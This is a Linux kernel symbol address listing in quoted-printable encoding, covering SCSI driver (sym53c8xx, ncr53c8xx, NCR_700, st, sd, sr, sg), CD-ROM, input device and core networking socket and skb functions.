1025b1c4 t show_spi_transport_width=0A=
1025b258 t store_spi_transport_width=0A=
1025b300 t show_spi_transport_max_width=0A=
1025b334 t store_spi_transport_max_width=0A=
1025b37c t show_spi_transport_iu=0A=
1025b410 t store_spi_transport_iu=0A=
1025b4a0 t show_spi_transport_dt=0A=
1025b534 t store_spi_transport_dt=0A=
1025b5c4 t show_spi_transport_qas=0A=
1025b658 t store_spi_transport_qas=0A=
1025b6e8 t show_spi_transport_wr_flow=0A=
1025b77c t store_spi_transport_wr_flow=0A=
1025b80c t show_spi_transport_rd_strm=0A=
1025b8a0 t store_spi_transport_rd_strm=0A=
1025b930 t show_spi_transport_rti=0A=
1025b9c4 t store_spi_transport_rti=0A=
1025ba54 t show_spi_transport_pcomp_en=0A=
1025bae8 t store_spi_transport_pcomp_en=0A=
1025bb78 t show_spi_transport_hold_mcs=0A=
1025bc0c t store_spi_transport_hold_mcs=0A=
1025bc9c t store_spi_revalidate=0A=
1025bccc t show_spi_transport_period_helper=0A=
1025bd50 t store_spi_transport_period_helper=0A=
1025be54 t show_spi_transport_period=0A=
1025bee4 t store_spi_transport_period=0A=
1025bfac t show_spi_transport_min_period=0A=
1025bfcc t store_spi_transport_min_period=0A=
1025bfec t show_spi_host_signalling=0A=
1025c09c t store_spi_host_signalling=0A=
1025c19c t spi_dv_device_echo_buffer=0A=
1025c444 t spi_dv_device_compare_inquiry=0A=
1025c54c t spi_dv_retrain=0A=
1025c788 T spi_dv_device=0A=
1025ccdc t child_iter=0A=
1025ccfc t spi_dv_device_work_wrapper=0A=
1025cd38 T spi_schedule_dv_device=0A=
1025cdfc T spi_display_xfer_agreement=0A=
1025d0c4 t spi_device_match=0A=
1025d13c t spi_target_match=0A=
1025d1f4 T spi_attach_transport=0A=
1025d90c T spi_release_transport=0A=
1025d93c t sym_fw1_patch=0A=
1025d99c t sym_fw2_patch=0A=
1025da94 t sym_fw_fill_data=0A=
1025dad0 t sym_fw_setup_bus_addresses=0A=
1025db54 t sym_fw1_setup=0A=
1025db94 t sym_fw2_setup=0A=
1025dbd4 T sym_find_firmware=0A=
1025dc00 T sym_fw_bind_script=0A=
1025ded0 t __unmap_scsi_data=0A=
1025df4c t __unmap_scsi_data=0A=
1025dfa8 T sym_xpt_done=0A=
1025dfd8 T sym_xpt_async_bus_reset=0A=
1025e064 T sym_xpt_async_sent_bdr=0A=
1025e08c t sym_xerr_cam_status=0A=
1025e0a4 T sym_set_cam_result_error=0A=
1025e240 T sym_setup_data_and_start=0A=
1025e5a4 t sym_timer=0A=
1025e658 T sym_log_bus_error=0A=
1025e6d8 t sym53c8xx_queue_command=0A=
1025e7ec t sym53c8xx_intr=0A=
1025e864 t sym53c8xx_timer=0A=
1025e888 t __sym_eh_done=0A=
1025e8fc t sym_eh_done=0A=
1025e918 t sym_eh_timeout=0A=
1025e934 t sym_eh_handler=0A=
1025eba8 t sym53c8xx_eh_abort_handler=0A=
1025ebd0 t sym53c8xx_eh_device_reset_handler=0A=
1025ebf8 t sym53c8xx_eh_bus_reset_handler=0A=
1025ec20 t sym53c8xx_eh_host_reset_handler=0A=
1025ec48 t sym_tune_dev_queuing=0A=
1025ece0 t sym53c8xx_slave_alloc=0A=
1025edfc t sym53c8xx_slave_configure=0A=
1025f030 t sym53c8xx_slave_destroy=0A=
1025f0cc t sym53c8xx_info=0A=
1025f0d8 t skip_spaces=0A=
1025f138 t get_int_arg=0A=
1025f17c t is_keyword=0A=
1025f1e4 t copy_info=0A=
1025f290 t sym53c8xx_proc_info=0A=
1025fa10 t sym_free_resources=0A=
1025fa8c t sym_detach=0A=
1025fb58 t sym2_probe=0A=
1026033c t sym2_remove=0A=
102603a8 t sym2_get_signalling=0A=
102603e8 t sym2_set_offset=0A=
10260460 t sym2_set_period=0A=
102604f4 t sym2_set_width=0A=
1026057c t sym2_set_dt=0A=
10260610 t sym_print_msg=0A=
10260670 t sym_print_nego_msg=0A=
102606d8 T sym_print_xerr=0A=
102607e4 t sym_scsi_bus_mode=0A=
10260824 t sym_chip_reset=0A=
102608f4 t sym_soft_reset=0A=
10260a08 T sym_reset_scsi_bus=0A=
10260bf4 t sym_start_reset=0A=
10260c10 t getfreq=0A=
10260df4 t sym_getfreq=0A=
10260e40 t sym_getsync=0A=
10260f9c T sym_lookup_chip_table=0A=
10260fe0 t sym_prepare_nego=0A=
10261294 T sym_put_start_queue=0A=
10261334 t sym_ccb_from_dsa=0A=
10261358 T sym_free_ccb=0A=
1026150c t sym_flush_comp_queue=0A=
102615bc T sym_start_up=0A=
10261d18 t sym_settrans=0A=
10261fac t sym_setwide=0A=
10262064 t sym_setsync=0A=
10262118 t sym_setpprot=0A=
10262230 t sym_recover_scsi_int=0A=
1026235c t sym_int_ma=0A=
10262a80 t sym_dequeue_from_squeue=0A=
10262c14 T sym_clear_tasks=0A=
10262d24 t sym_evaluate_dp=0A=
10262ea4 t sym_compute_residual=0A=
10262f8c t sym_modify_dp=0A=
10263138 t sym_nego_default=0A=
102631f8 t sym_alloc_ccb=0A=
102632e0 T sym_get_ccb=0A=
10263640 T sym_alloc_lcb=0A=
102637e4 T sym_queue_scsiio=0A=
10263a50 T sym_reset_scsi_target=0A=
10263aac T sym_abort_scsiio=0A=
10263b40 t sym_complete_error=0A=
10263cac t sym_int_sir=0A=
10264f40 T sym_interrupt=0A=
102658ac T sym_hcb_attach=0A=
102668dc T sym_hcb_free=0A=
10266a44 t __sym_calloc2=0A=
10266ba0 t __sym_mfree=0A=
10266c98 t ___mp0_get_mem_cluster=0A=
10266ccc t ___mp0_free_mem_cluster=0A=
10266cfc t ___get_dma_mem_cluster=0A=
10266da8 t ___free_dma_mem_cluster=0A=
10266e58 t ___del_dma_pool=0A=
10266ecc t ___del_dma_pool=0A=
10266f40 T __sym_calloc_dma=0A=
10267040 T __sym_mfree_dma=0A=
1026709c T __vtobus=0A=
1026711c t __vtobus=0A=
10267188 T sym_nvram_setup_host=0A=
1026727c T sym_nvram_setup_target=0A=
102673ac t S24C16_set_bit=0A=
1026749c t S24C16_start=0A=
1026750c t S24C16_stop=0A=
10267554 t S24C16_do_bit=0A=
102675e4 t S24C16_write_byte=0A=
10267698 t sym_read_S24C16_nvram=0A=
10267958 t T93C46_Clk=0A=
102679d8 T sym_read_nvram=0A=
10267dc4 T sym_nvram_type=0A=
10267e04 t __m_calloc2=0A=
10267f60 t __m_free=0A=
10268058 t ___mp0_getp=0A=
10268090 t ___mp0_freep=0A=
102680c0 t ___dma_getp=0A=
1026818c t ___dma_freep=0A=
1026823c t __m_calloc_dma=0A=
10268350 t __m_free_dma=0A=
102683ac t ncr_print_msg=0A=
1026840c t ncr_free_ccb=0A=
10268598 t ncr_put_start_queue=0A=
10268654 t ncr_start_next_ccb=0A=
10268734 t ncr_chip_reset=0A=
102687d8 t ncr_reset_scsi_bus=0A=
10268a84 t ncr_start_reset=0A=
10268ab8 t retrieve_from_waiting_list=0A=
10268af4 t ncr_selectclock=0A=
10268c94 t ncr_setup_tags=0A=
10268e04 t ncr_negotiate=0A=
10268e70 t ncr_set_sync_wide_status=0A=
10268ef8 t ncr_setsync=0A=
10269090 t ncr_setwide=0A=
102691d0 t ncr_init_ccb=0A=
1026927c t ncr_alloc_lcb=0A=
10269524 t ncr_queue_command=0A=
10269e38 t process_waiting_list=0A=
10269ec0 t ncr_complete=0A=
1026a4b4 t ncr_wakeup_done=0A=
1026a600 t ncr_wakeup=0A=
1026a658 t ncr_init=0A=
1026aa7c t ncr_exception=0A=
1026c154 t ncr_timeout=0A=
1026c244 t ncr53c8xx_slave_alloc=0A=
1026c26c t ncr53c8xx_slave_configure=0A=
1026c584 t ncr53c8xx_queue_command=0A=
1026c618 T ncr53c8xx_intr=0A=
1026c6c0 t ncr53c8xx_timeout=0A=
1026c71c t ncr53c8xx_bus_reset=0A=
1026c858 t show_ncr53c8xx_revision=0A=
1026c888 T ncr53c8xx_release=0A=
1026cbec t ncr53c8xx_set_period=0A=
1026cc84 t ncr53c8xx_set_offset=0A=
1026cd14 t ncr53c8xx_set_width=0A=
1026cda4 t ncr53c8xx_get_signalling=0A=
1026cdd0 T ncr53c8xx_exit=0A=
1026cdf0 T NCR_700_release=0A=
1026ce34 t free_slot=0A=
1026cec4 t save_for_reselection=0A=
1026cee0 t NCR_700_internal_bus_reset=0A=
1026cf80 t NCR_700_chip_setup=0A=
1026d49c t NCR_700_chip_reset=0A=
1026d60c T NCR_700_detect=0A=
1026dcc4 t process_script_interrupt=0A=
1026f158 t NCR_700_start_command=0A=
1026f7c8 T NCR_700_intr=0A=
1027072c t NCR_700_queuecommand=0A=
10270b7c t NCR_700_abort=0A=
10270bf8 t NCR_700_bus_reset=0A=
10270cec t NCR_700_host_reset=0A=
10270d60 t NCR_700_set_period=0A=
10270de0 t NCR_700_set_offset=0A=
10270e7c t NCR_700_slave_configure=0A=
10270f58 t NCR_700_slave_destroy=0A=
10270f5c t NCR_700_change_queue_depth=0A=
10270fb4 t NCR_700_change_queue_type=0A=
10271140 t NCR_700_show_active_tags=0A=
1027116c t scsi_tape_put=0A=
1027120c t st_chk_result=0A=
1027149c t st_sleep_done=0A=
102714ec t st_do_scsi=0A=
10271748 t write_behind_check=0A=
102718a0 t cross_eof=0A=
1027197c t flush_write_buffer=0A=
10271b54 t do_door_lock=0A=
10271bb4 t sgl_unmap_user_pages=0A=
10271c24 t release_buffering=0A=
10271c58 t read_mode_page=0A=
10271d08 t write_mode_page=0A=
10271e0c t st_compression=0A=
10271ed0 t get_location=0A=
10272090 t find_partition=0A=
102720c4 t set_location=0A=
1027230c t switch_partition=0A=
10272364 t rw_checks=0A=
10272464 t normalize_buffer=0A=
102724f4 t st_release=0A=
10272538 t st_int_ioctl=0A=
10272edc t flush_buffer=0A=
1027301c t st_flush=0A=
102732d4 t set_mode_densblk=0A=
102733a4 t check_tape=0A=
10273924 t do_load_unload=0A=
10273a88 t st_ioctl=0A=
102748d4 t enlarge_buffer=0A=
10274ac4 t st_open=0A=
10274d04 t validate_options=0A=
10274d34 t st_remove=0A=
10274ecc t scsi_tape_release=0A=
10274f24 t st_intr=0A=
10274f54 t st_init_command=0A=
10274f94 t st_try_direct_io_show=0A=
10274fc4 t st_fixed_buffer_size_show=0A=
10274ff4 t st_max_sg_segs_show=0A=
10275024 t st_version_show=0A=
10275054 t st_defined_show=0A=
10275084 t st_defblk_show=0A=
102750b4 t st_defdensity_show=0A=
102750f4 t st_defcompression_show=0A=
10275128 t st_probe=0A=
102759fc t setup_buffering=0A=
10275d2c t st_write=0A=
102765c4 t st_read=0A=
10276db8 t sd_major=0A=
10276e84 t __scsi_disk_get=0A=
10276ecc t scsi_disk_get_from_dev=0A=
10276f6c t scsi_disk_put=0A=
1027700c t sd_init_command=0A=
1027722c t sd_open=0A=
1027739c t sd_release=0A=
10277404 t sd_ioctl=0A=
10277634 t set_media_not_present=0A=
10277650 t sd_media_changed=0A=
102776d8 t sd_sync_cache=0A=
102777bc t sd_issue_flush=0A=
1027781c t sd_end_flush=0A=
10277890 t sd_prepare_flush=0A=
102778f8 t sd_rw_intr=0A=
10277b78 t media_not_present=0A=
10277bf0 t sd_revalidate_disk=0A=
1027870c t sd_rescan=0A=
10278740 t sd_probe=0A=
10278a64 t sd_shutdown=0A=
10278ac4 t sd_remove=0A=
10278b74 t scsi_disk_release=0A=
10278bc8 t rw_intr=0A=
10278d88 t sr_init_command=0A=
102790a4 t sr_block_open=0A=
10279218 t sr_block_release=0A=
102792d4 t sr_block_ioctl=0A=
10279344 t sr_block_media_changed=0A=
10279364 t sr_open=0A=
1027938c t sr_release=0A=
102793c4 t sr_media_change=0A=
1027960c t sr_probe=0A=
10279c58 t sr_packet=0A=
10279c90 t sr_kref_release=0A=
10279d08 t sr_remove=0A=
10279da0 T sr_do_ioctl=0A=
10279fc0 T sr_audio_ioctl=0A=
1027a320 T sr_tray_move=0A=
1027a394 T sr_lock_door=0A=
1027a3bc T sr_drive_status=0A=
1027a438 T sr_disk_status=0A=
1027a4f4 T sr_get_last_session=0A=
1027a524 T sr_get_mcn=0A=
1027a620 T sr_reset=0A=
1027a628 T sr_select_speed=0A=
1027a6b8 T sr_is_xa=0A=
1027a8a4 T sr_dev_ioctl=0A=
1027a908 T sr_vendor_init=0A=
1027a914 T sr_set_blocklength=0A=
1027aa04 T sr_cd_check=0A=
1027abe4 t sg_get_dev=0A=
1027ac2c t sg_get_rq_mark=0A=
1027ac70 t sg_add_request=0A=
1027ad58 t sg_remove_request=0A=
1027add8 t sg_res_in_use=0A=
1027ae04 t sg_allow_access=0A=
1027ae4c t sg_srp_done=0A=
1027ae60 t sg_poll=0A=
1027af58 t sg_fasync=0A=
1027af98 t sg_rb_correct4mmap=0A=
1027b14c t sg_vma_nopage=0A=
1027b2b0 t sg_mmap=0A=
1027b3c4 t sg_add=0A=
1027b788 t sg_u_iovec=0A=
1027b818 t sg_get_nth_sfp=0A=
1027b864 t sg_page_malloc=0A=
1027b9b4 t sg_build_sgat=0A=
1027ba54 t sg_build_indirect=0A=
1027bc14 t sg_page_free=0A=
1027bc54 t sg_remove_scat=0A=
1027bd64 t sg_finish_rem_req=0A=
1027bdf0 t sg_new_read=0A=
1027c1ac t sg_read=0A=
1027c69c t sg_build_reserve=0A=
1027c704 t sg_open=0A=
1027ca74 t sg_common_write=0A=
1027d1f0 t sg_new_write=0A=
1027d3dc t sg_ioctl=0A=
1027dff0 t sg_write=0A=
1027e2a8 t __sg_remove_sfp=0A=
1027e32c t sg_remove=0A=
1027e54c t sg_remove_sfp=0A=
1027e66c t sg_release=0A=
1027e6f4 t sg_cmd_done=0A=
1027e96c t sg_proc_seq_show_int=0A=
1027e998 t sg_proc_single_open_adio=0A=
1027e9c4 t sg_proc_write_adio=0A=
1027ea8c t sg_proc_single_open_dressz=0A=
1027eab8 t sg_proc_write_dressz=0A=
1027eb84 t sg_proc_seq_show_version=0A=
1027ebc4 t sg_proc_single_open_version=0A=
1027ebec t sg_proc_seq_show_devhdr=0A=
1027ec10 t sg_proc_single_open_devhdr=0A=
1027ec38 t dev_seq_start=0A=
1027ed00 t dev_seq_next=0A=
1027ed4c t dev_seq_stop=0A=
1027ed68 t sg_proc_open_dev=0A=
1027ed8c t sg_proc_seq_show_dev=0A=
1027ee44 t sg_proc_open_devstrs=0A=
1027ee68 t sg_proc_seq_show_devstrs=0A=
1027eee0 t sg_proc_open_debug=0A=
1027ef04 t sg_proc_seq_show_debug=0A=
1027f2c0 t cdrom_dummy_generic_packet=0A=
1027f2f4 T unregister_cdrom=0A=
1027f3c8 T init_cdrom_command=0A=
1027f438 T cdrom_get_media_event=0A=
1027f4fc T cdrom_mode_sense=0A=
1027f594 t cdrom_get_disc_info=0A=
1027f648 t cdrom_mrw_exit=0A=
1027f758 T cdrom_mode_select=0A=
1027f7e4 t cdrom_get_random_writable=0A=
1027f878 t cdrom_count_tracks=0A=
1027fa2c T cdrom_open=0A=
102803f8 t check_for_audio_disc=0A=
102805b0 T cdrom_release=0A=
10280854 t cdrom_read_mech_status=0A=
10280930 T cdrom_number_of_slots=0A=
102809ac t cdrom_load_unload=0A=
10280aac t media_changed=0A=
10280b4c T cdrom_media_changed=0A=
10280b94 t sanitize_format=0A=
10280c3c t setup_report_key=0A=
10280ca4 t setup_send_key=0A=
10280d0c t cdrom_read_block=0A=
10280e24 t cdrom_read_cdda_old=0A=
10280f50 t cdrom_switch_blocksize=0A=
10281024 t cdrom_get_track_info=0A=
10281104 T cdrom_get_last_written=0A=
1028125c t mmc_ioctl=0A=
102827cc T cdrom_ioctl=0A=
102836bc t cdrom_sysctl_info=0A=
10283d50 t cdrom_sysctl_handler=0A=
10283fe4 t cdrom_sysctl_register=0A=
10284094 T register_cdrom=0A=
1028436c T uhci_reset_hc=0A=
1028443c T uhci_check_and_reset_hc=0A=
102844d4 t mmio_resource_enabled=0A=
1028453c t quirk_usb_early_handoff=0A=
102848cc T input_event=0A=
10284dbc t input_repeat_key=0A=
10284e58 T input_accept_process=0A=
10284e8c T input_grab_device=0A=
10284ea8 T input_release_device=0A=
10284ebc T input_open_device=0A=
10284f88 T input_flush_device=0A=
10284fbc T input_close_device=0A=
1028506c t input_link_handle=0A=
102850b0 t input_match_device=0A=
10285240 t input_print_bitmap=0A=
102852f4 t input_devices_poll=0A=
10285340 t input_devices_read=0A=
10285810 t input_handlers_read=0A=
10285968 t input_proc_exit=0A=
102859b8 t input_dev_show_name=0A=
10285a68 t input_dev_show_phys=0A=
10285b18 t input_dev_show_uniq=0A=
10285bc8 t input_dev_show_id_bustype=0A=
10285bf0 t input_dev_show_id_vendor=0A=
10285c18 t input_dev_show_id_product=0A=
10285c40 t input_dev_show_id_version=0A=
10285c68 t input_dev_show_cap_ev=0A=
10285c90 t input_dev_show_cap_key=0A=
10285cb8 t input_dev_show_cap_rel=0A=
10285ce0 t input_dev_show_cap_abs=0A=
10285d08 t input_dev_show_cap_msc=0A=
10285d30 t input_dev_show_cap_led=0A=
10285d58 t input_dev_show_cap_snd=0A=
10285d80 t input_dev_show_cap_ff=0A=
10285da8 t input_dev_show_cap_sw=0A=
10285dd0 t input_dev_release=0A=
10285dec t input_add_hotplug_bm_var=0A=
10285ec4 t input_dev_hotplug=0A=
102862e4 T input_allocate_device=0A=
10286340 T input_register_device=0A=
10286628 T input_unregister_device=0A=
1028674c T input_register_handler=0A=
10286884 T input_unregister_handler=0A=
10286970 t input_open_file=0A=
10286b00 t mousedev_notify_readers=0A=
10286d34 t mousedev_event=0A=
1028726c t mousedev_fasync=0A=
10287290 t mousedev_free=0A=
102872bc t mousedev_release=0A=
102873dc t mousedev_open=0A=
10287580 t mousedev_packet=0A=
1028776c t mousedev_write=0A=
1028798c t mousedev_read=0A=
10287b48 t mousedev_poll=0A=
10287bc0 t mousedev_connect=0A=
10287d2c t mousedev_disconnect=0A=
10287e18 t evdev_event=0A=
10287f88 t evdev_fasync=0A=
10287fb0 t evdev_flush=0A=
10287fec t evdev_free=0A=
10288018 t evdev_release=0A=
102880dc t evdev_open=0A=
102881d8 t evdev_write=0A=
1028827c t evdev_read=0A=
10288460 t evdev_poll=0A=
102884d8 t evdev_ioctl=0A=
10288c58 t evdev_connect=0A=
10288dac t evdev_disconnect=0A=
10288e80 t atkbd_attr_show_helper=0A=
10288f44 t atkbd_do_show_extra=0A=
10288f68 t atkbd_do_show_scroll=0A=
10288f8c t atkbd_do_show_set=0A=
10288fb0 t atkbd_do_show_softrepeat=0A=
10288fd4 t atkbd_do_show_softraw=0A=
10288ff8 t atkbd_report_key=0A=
10289078 t atkbd_interrupt=0A=
102896a0 t atkbd_event_work=0A=
10289904 t atkbd_event=0A=
10289980 t atkbd_attr_set_helper=0A=
10289a7c t atkbd_do_set_extra=0A=
10289aa4 t atkbd_do_set_scroll=0A=
10289acc t atkbd_do_set_set=0A=
10289af4 t atkbd_do_set_softrepeat=0A=
10289b1c t atkbd_do_set_softraw=0A=
10289b44 t atkbd_probe=0A=
10289c80 t atkbd_select_set=0A=
10289dbc t atkbd_activate=0A=
10289e44 t atkbd_cleanup=0A=
10289e68 t atkbd_disconnect=0A=
10289f20 t atkbd_set_keycode_table=0A=
1028a09c t atkbd_set_device_attrs=0A=
1028a298 t atkbd_connect=0A=
1028a4fc t atkbd_reconnect=0A=
1028a5f4 t atkbd_show_extra=0A=
1028a624 t atkbd_set_extra=0A=
1028a6f8 t atkbd_show_scroll=0A=
1028a728 t atkbd_set_scroll=0A=
1028a7e0 t atkbd_show_set=0A=
1028a808 t atkbd_set_set=0A=
1028a8e0 t atkbd_show_softrepeat=0A=
1028a910 t atkbd_set_softrepeat=0A=
1028a9e0 t atkbd_show_softraw=0A=
1028aa10 t atkbd_set_softraw=0A=
1028aac0 T hwmon_device_register=0A=
1028ab74 T hwmon_device_unregister=0A=
1028abc8 T move_addr_to_kernel=0A=
1028ac10 T move_addr_to_user=0A=
1028acc4 t sock_alloc_inode=0A=
1028ad20 t sock_destroy_inode=0A=
1028ad44 t init_once=0A=
1028ad74 t sockfs_get_sb=0A=
1028ada4 t sockfs_delete_dentry=0A=
1028adac T sock_map_fd=0A=
1028af2c T sockfd_lookup=0A=
1028afd4 t sock_alloc=0A=
1028b044 t sock_no_open=0A=
1028b04c T sock_release=0A=
1028b0f8 T sock_sendmsg=0A=
1028b1d0 T kernel_sendmsg=0A=
1028b210 T sock_recvmsg=0A=
1028b2f8 T kernel_recvmsg=0A=
1028b340 t sock_aio_dtor=0A=
1028b35c t sock_aio_read=0A=
1028b480 t sock_aio_write=0A=
1028b5b0 t sock_sendpage=0A=
1028b60c t sock_readv_writev=0A=
1028b6a4 t sock_readv=0A=
1028b6f4 t sock_writev=0A=
1028b744 T brioctl_set=0A=
1028b7c8 T vlan_ioctl_set=0A=
1028b84c T dlci_ioctl_set=0A=
1028b8d0 t sock_ioctl=0A=
1028bbec T sock_create_lite=0A=
1028bc3c t sock_poll=0A=
1028bc68 t sock_mmap=0A=
1028bc94 t sock_fasync=0A=
1028bdd8 t sock_close=0A=
1028be1c T sock_wake_async=0A=
1028bec0 t __sock_create=0A=
1028c0dc T sock_create=0A=
1028c0f8 T sock_create_kern=0A=
1028c118 T sys_socket=0A=
1028c160 T sys_socketpair=0A=
1028c294 T sys_bind=0A=
1028c31c T sys_listen=0A=
1028c38c T sys_accept=0A=
1028c500 T sys_connect=0A=
1028c590 T sys_getsockname=0A=
1028c620 T sys_getpeername=0A=
1028c6b0 T sys_sendto=0A=
1028c7b0 T sys_send=0A=
1028c7d0 T sys_recvfrom=0A=
1028c8d0 T sys_recv=0A=
1028c8f0 T sys_setsockopt=0A=
1028c9ac T sys_getsockopt=0A=
1028ca60 T sys_shutdown=0A=
1028cac0 T sys_sendmsg=0A=
1028cc88 T sys_recvmsg=0A=
1028ce7c T sys_socketcall=0A=
1028d09c T sock_register=0A=
1028d108 T sock_unregister=0A=
1028d14c T socket_seq_show=0A=
1028d17c t sock_set_timeout=0A=
1028d214 t sock_warn_obsolete_bsdism=0A=
1028d2a4 T sk_free=0A=
1028d3bc T sock_getsockopt=0A=
1028d7d8 T sk_alloc=0A=
1028d8d4 T sk_clone=0A=
1028da54 T sock_wfree=0A=
1028dacc T sock_rfree=0A=
1028daf4 T sock_i_uid=0A=
1028db08 T sock_i_ino=0A=
1028db1c T sock_wmalloc=0A=
1028dbac T sock_rmalloc=0A=
1028dc24 T sock_kmalloc=0A=
1028dcb0 T sock_kfree_s=0A=
1028dcf8 T sock_alloc_send_skb=0A=
1028df50 T lock_sock=0A=
1028e048 T release_sock=0A=
1028e0e8 T sk_wait_data=0A=
1028e210 T sock_no_bind=0A=
1028e218 T sock_no_connect=0A=
1028e220 T sock_no_socketpair=0A=
1028e228 T sock_no_accept=0A=
1028e230 T sock_no_getname=0A=
1028e238 T sock_no_poll=0A=
1028e240 T sock_no_ioctl=0A=
1028e248 T sock_no_listen=0A=
1028e250 T sock_no_shutdown=0A=
1028e258 T sock_no_setsockopt=0A=
1028e260 T sock_no_getsockopt=0A=
1028e268 T sock_no_sendmsg=0A=
1028e270 T sock_no_recvmsg=0A=
1028e278 T sock_no_mmap=0A=
1028e280 T sock_no_sendpage=0A=
1028e2f4 t sock_def_wakeup=0A=
1028e334 t sock_def_error_report=0A=
1028e39c t sock_def_readable=0A=
1028e404 t sock_def_write_space=0A=
1028e498 t sock_def_destruct=0A=
1028e4b4 T sk_send_sigurg=0A=
1028e51c T sk_reset_timer=0A=
1028e560 T sk_stop_timer=0A=
1028e5a8 T sock_init_data=0A=
1028e6e8 T sock_enable_timestamp=0A=
1028e718 T sock_get_timestamp=0A=
1028e780 T sock_setsockopt=0A=
1028ee10 T sock_common_getsockopt=0A=
1028ee44 T sock_common_recvmsg=0A=
1028eeb0 T sock_common_setsockopt=0A=
1028eee4 T sk_common_release=0A=
1028ef78 T proto_register=0A=
1028f13c T proto_unregister=0A=
1028f208 t proto_seq_start=0A=
1028f290 t proto_seq_next=0A=
1028f2e0 t proto_seq_stop=0A=
1028f2e4 t proto_method_implemented=0A=
1028f2f4 t proto_seq_show=0A=
1028f60c t proto_seq_open=0A=
1028f630 T reqsk_queue_alloc=0A=
1028f710 T reqsk_queue_destroy=0A=
1028f7fc T skb_over_panic=0A=
1028f880 T skb_under_panic=0A=
1028f904 T skb_copy_bits=0A=
1028fb14 T skb_queue_tail=0A=
1028fb40 T __alloc_skb=0A=
1028fc88 T skb_clone=0A=
1028fe90 T alloc_skb_from_cache=0A=
1028ff88 t skb_clone_fraglist=0A=
1028ffb8 T kfree_skbmem=0A=
10290070 T __kfree_skb=0A=
10290148 t skb_drop_fraglist=0A=
102901a8 T skb_release_data=0A=
1029025c T pskb_expand_head=0A=
1029040c T __pskb_pull_tail=0A=
10290738 T ___pskb_trim=0A=
102908d4 t copy_skb_header=0A=
10290a08 T skb_copy=0A=
10290b48 T pskb_copy=0A=
10290d04 T skb_realloc_headroom=0A=
10290dac T skb_copy_expand=0A=
10290eec T skb_pad=0A=
10290fdc T skb_store_bits=0A=
102911f8 T skb_checksum=0A=
10291480 T skb_copy_and_csum_bits=0A=
1029172c T skb_copy_and_csum_dev=0A=
1029182c T skb_dequeue=0A=
10291868 T skb_dequeue_tail=0A=
102918ac T skb_queue_purge=0A=
10291904 T skb_queue_head=0A=
10291930 T skb_unlink=0A=
10291960 T skb_append=0A=
1029198c T skb_insert=0A=
102919b8 T skb_split=0A=
10291c24 T skb_prepare_seq_read=0A=
10291c44 T skb_seq_read=0A=
10291d80 T skb_abort_seq_read=0A=
10291d84 t skb_ts_get_next_block=0A=
10291da0 t skb_ts_finish=0A=
10291da4 T skb_find_text=0A=
10291e2c T skb_append_datato_frags=0A=
10292010 T verify_iovec=0A=
102920cc T memcpy_toiovec=0A=
10292164 T memcpy_fromiovec=0A=
102921fc T memcpy_fromiovecend=0A=
10292298 T csum_partial_copy_fromiovecend=0A=
10292468 T skb_recv_datagram=0A=
1029266c T skb_free_datagram=0A=
102926bc T skb_copy_datagram_iovec=0A=
1029282c t skb_copy_and_csum_datagram=0A=
10292b30 T __skb_checksum_complete=0A=
10292ba0 T skb_copy_and_csum_datagram_iovec=0A=
10292ccc T datagram_poll=0A=
10292dd4 T __sk_stream_mem_reclaim=0A=
10292e4c T sk_stream_mem_schedule=0A=
10293044 T sk_stream_write_space=0A=
102930fc T sk_stream_wait_connect=0A=
102932a8 T sk_stream_wait_close=0A=
102933d4 T sk_stream_wait_memory=0A=
102935f8 T sk_stream_rfree=0A=
10293630 T sk_stream_error=0A=
102936a8 T sk_stream_kill_queues=0A=
10293830 T __scm_destroy=0A=
102938a0 T __scm_send=0A=
10293b60 T put_cmsg=0A=
10293c50 T scm_detach_fds=0A=
10293e20 T scm_fp_dup=0A=
10293ea8 T gnet_stats_start_copy_compat=0A=
10293f7c T gnet_stats_start_copy=0A=
10293fa4 T gnet_stats_copy_basic=0A=
10294030 T gnet_stats_copy_rate_est=0A=
102940ac T gnet_stats_copy_queue=0A=
10294140 T gnet_stats_copy_app=0A=
102941c0 T gnet_stats_finish_copy=0A=
1029428c t est_timer=0A=
102943d4 T gen_new_estimator=0A=
102945e4 T gen_kill_estimator=0A=
102946c4 T gen_replace_estimator=0A=
10294718 T register_gifconf=0A=
1029473c T dev_add_pack=0A=
102947c4 T __dev_remove_pack=0A=
1029487c T netdev_boot_setup_check=0A=
10294938 T __dev_get_by_name=0A=
102949e8 T netdev_boot_base=0A=
10294a74 T dev_get_by_name=0A=
10294aac T __dev_get_by_index=0A=
10294aec T dev_get_by_index=0A=
10294b24 T dev_getbyhwaddr=0A=
10294bf0 T dev_getfirstbyhwtype=0A=
10294c50 T dev_get_by_flags=0A=
10294c98 t dev_valid_name=0A=
10294d08 T dev_alloc_name=0A=
10294f04 T dev_change_name=0A=
102950dc T netdev_features_change=0A=
10295104 T netdev_state_change=0A=
10295154 T dev_load=0A=
102951b4 t default_rebuild_header=0A=
10295220 T dev_open=0A=
102952d4 T dev_close=0A=
1029537c T register_netdevice_notifier=0A=
10295418 T unregister_netdevice_notifier=0A=
1029543c T call_netdevice_notifiers=0A=
10295464 T net_enable_timestamp=0A=
10295484 T net_disable_timestamp=0A=
102954a4 T __net_timestamp=0A=
102954dc T dev_queue_xmit_nit=0A=
10295618 T skb_checksum_help=0A=
1029572c T netdev_rx_csum_fault=0A=
10295774 T __skb_linearize=0A=
102958f8 T dev_queue_xmit=0A=
10295b24 T netif_rx=0A=
10295ccc T netif_rx_ni=0A=
10295d00 t net_tx_action=0A=
10295de0 T netif_receive_skb=0A=
10296020 t process_backlog=0A=
102961a0 t net_rx_action=0A=
102962fc T dev_seq_start=0A=
10296370 T dev_seq_next=0A=
102963a0 T dev_seq_stop=0A=
102963a4 t dev_seq_show=0A=
102964dc t softnet_get_online=0A=
10296534 t softnet_seq_start=0A=
10296550 t softnet_seq_next=0A=
10296584 t softnet_seq_stop=0A=
10296588 t softnet_seq_show=0A=
102965dc t dev_seq_open=0A=
10296600 t softnet_seq_open=0A=
10296624 T dev_set_promiscuity=0A=
102966b4 T dev_set_allmulti=0A=
1029670c T dev_get_flags=0A=
10296748 T dev_change_flags=0A=
10296884 T dev_set_mtu=0A=
10296910 T dev_set_mac_address=0A=
10296980 t dev_ifsioc=0A=
10296dd0 T dev_ioctl=0A=
10297288 T register_netdevice=0A=
10297610 T register_netdev=0A=
10297694 T netdev_run_todo=0A=
102979f8 T alloc_netdev=0A=
10297ab4 T free_netdev=0A=
10297b28 T synchronize_net=0A=
10297b40 T netdev_set_master=0A=
10297c54 T dev_remove_pack=0A=
10297c70 T unregister_netdevice=0A=
10297ee4 T unregister_netdev=0A=
10297f0c T ethtool_op_get_link=0A=
10297f20 T ethtool_op_get_tx_csum=0A=
